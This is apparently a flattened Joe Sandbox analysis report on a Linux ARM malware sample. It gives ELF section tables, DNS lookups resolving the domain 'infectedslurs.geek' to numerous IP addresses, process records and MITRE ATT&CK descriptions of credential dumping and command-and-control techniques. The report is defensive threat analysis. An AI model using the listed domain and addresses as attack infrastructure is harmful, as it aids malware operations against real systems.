.fini_array	FINI_ARRAY	0x1fd30	0xfd30	0x4	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x1fd34	0xfd34	0x4	0x0	0x3	WA	0	0	4
.got	PROGBITS	0x1fd38	0xfd38	0xa8	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x1fde0	0xfde0	0x150	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x1ff30	0xff30	0x3f2c	0x0	0x3	WA	0	0	4
.comment	PROGBITS	0x0	0xff30	0x9dc	0x0	0x0		0	0	1
.debug_aranges	PROGBITS	0x0	0x10910	0xa0	0x0	0x0		0	0	8
.debug_pubnames	PROGBITS	0x0	0x109b0	0x213	0x0	0x0		0	0	1
.debug_info	PROGBITS	0x0	0x10bc3	0x1c5a	0x0	0x0		0	0	1
.debug_abbrev	PROGBITS	0x0	0x1281d	0x67e	0x0	0x0		0	0	1
.debug_line	PROGBITS	0x0	0x12e9b	0x908	0x0	0x0		0	0	1
.debug_frame	PROGBITS	0x0	0x137a4	0x28c	0x0	0x0		0	0	4
.debug_str	PROGBITS	0x0	0x13a30	0x8ca	0x1	0x30	MS	0	0	1
.debug_loc	PROGBITS	0x0	0x142fa	0x118f	0x0	0x0		0	0	1
.debug_ranges	PROGBITS	0x0	0x15489	0x558	0x0	0x0		0	0	1
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x159e1	0x16	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x159f7	0x117	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x15f98	0x43a0	0x10	0x0		28	627	4
.strtab	STRTAB	0x0	0x1a338	0x21a0	0x0	0x0		0	0	1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0xfc10	0x17c10	0x17c10	0x118	0x118	4.4394	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0xfd28	0xfd28	6.0833	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0xfd28	0x1fd28	0x1fd28	0x208	0x4134	2.5835	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0xfd2c	0x1fd2c	0x1fd2c	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 27, 2024 11:33:09.240236998 CEST	81.169.136.222	192.168.2.15	0x12d5	No error (0)	infectedslurs.geek	5.181.80.130	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:33:09.240236998 CEST	81.169.136.222	192.168.2.15	0x12d5	No error (0)	infectedslurs.geek	204.76.203.63	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:33:09.240236998 CEST	81.169.136.222	192.168.2.15	0x12d5	No error (0)	infectedslurs.geek	5.181.80.59	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:33:09.240236998 CEST	81.169.136.222	192.168.2.15	0x12d5	No error (0)	infectedslurs.geek	5.181.80.61	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:33:09.240236998 CEST	81.169.136.222	192.168.2.15	0x12d5	No error (0)	infectedslurs.geek	86.104.194.115	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:33:09.240236998 CEST	81.169.136.222	192.168.2.15	0x12d5	No error (0)	infectedslurs.geek	204.76.203.103	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:33:09.240236998 CEST	81.169.136.222	192.168.2.15	0x12d5	No error (0)	infectedslurs.geek	204.76.203.101	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:33:09.240236998 CEST	81.169.136.222	192.168.2.15	0x12d5	No error (0)	infectedslurs.geek	5.181.80.60	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:33:09.240236998 CEST	81.169.136.222	192.168.2.15	0x12d5	No error (0)	infectedslurs.geek	86.104.194.171	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:33:09.240236998 CEST	81.169.136.222	192.168.2.15	0x12d5	No error (0)	infectedslurs.geek	86.104.194.181	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:33:09.240236998 CEST	81.169.136.222	192.168.2.15	0x12d5	No error (0)	infectedslurs.geek	5.181.80.189	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:33:09.240236998 CEST	81.169.136.222	192.168.2.15	0x12d5	No error (0)	infectedslurs.geek	86.104.194.178	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:33:09.240236998 CEST	81.169.136.222	192.168.2.15	0x12d5	No error (0)	infectedslurs.geek	5.181.80.140	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:33:09.240236998 CEST	81.169.136.222	192.168.2.15	0x12d5	No error (0)	infectedslurs.geek	204.76.203.5	A (IP address)	IN (0x0001)	false
Apr 27, 2024 11:33:09.240236998 CEST	81.169.136.222	192.168.2.15	0x12d5	No error (0)	infectedslurs.geek	204.76.203.223	A (IP address)	IN (0x0001)	false

Start time (UTC):	09:33:07
Start date (UTC):	27/04/2024
Path:	/tmp/MwPM17s9Mb.elf
Arguments:	/tmp/MwPM17s9Mb.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	09:33:08
Start date (UTC):	27/04/2024
Path:	/tmp/MwPM17s9Mb.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report MwPM17s9Mb.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0CvF6N (deleted)

/tmp/qemu-open.0dTMfK (deleted)

/tmp/qemu-open.0vvsWN (deleted)

/tmp/qemu-open.2TrNuO (deleted)

/tmp/qemu-open.4PiGIL (deleted)

/tmp/qemu-open.5acg6K (deleted)

/tmp/qemu-open.5jwSzN (deleted)

/tmp/qemu-open.6Onz7L (deleted)

/tmp/qemu-open.7AFK7M (deleted)

/tmp/qemu-open.7Po7vL (deleted)

/tmp/qemu-open.7vOB8J (deleted)

/tmp/qemu-open.8KqQ8K (deleted)

/tmp/qemu-open.8p2vKN (deleted)

/tmp/qemu-open.9XUuKL (deleted)

/tmp/qemu-open.ADX5SL (deleted)

/tmp/qemu-open.AXngVK (deleted)

/tmp/qemu-open.BedWvN (deleted)

/tmp/qemu-open.CvNeSL (deleted)

/tmp/qemu-open.DujWON (deleted)

/tmp/qemu-open.E2HSlM (deleted)

/tmp/qemu-open.EjlYcL (deleted)

/tmp/qemu-open.EkdkWJ (deleted)

/tmp/qemu-open.EteAyL (deleted)

/tmp/qemu-open.Eu7g7K (deleted)

/tmp/qemu-open.FEo6AK (deleted)

/tmp/qemu-open.Fc5NfK (deleted)

/tmp/qemu-open.H625sK (deleted)

/tmp/qemu-open.IMOVyK (deleted)

/tmp/qemu-open.Ik0LsN (deleted)

Linux Analysis Report
MwPM17s9Mb.elf

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre